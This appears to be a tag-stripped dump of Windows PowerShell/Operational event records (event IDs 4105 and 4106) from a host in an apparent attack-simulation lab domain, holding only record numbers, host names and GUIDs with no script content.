410515102150x0673248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 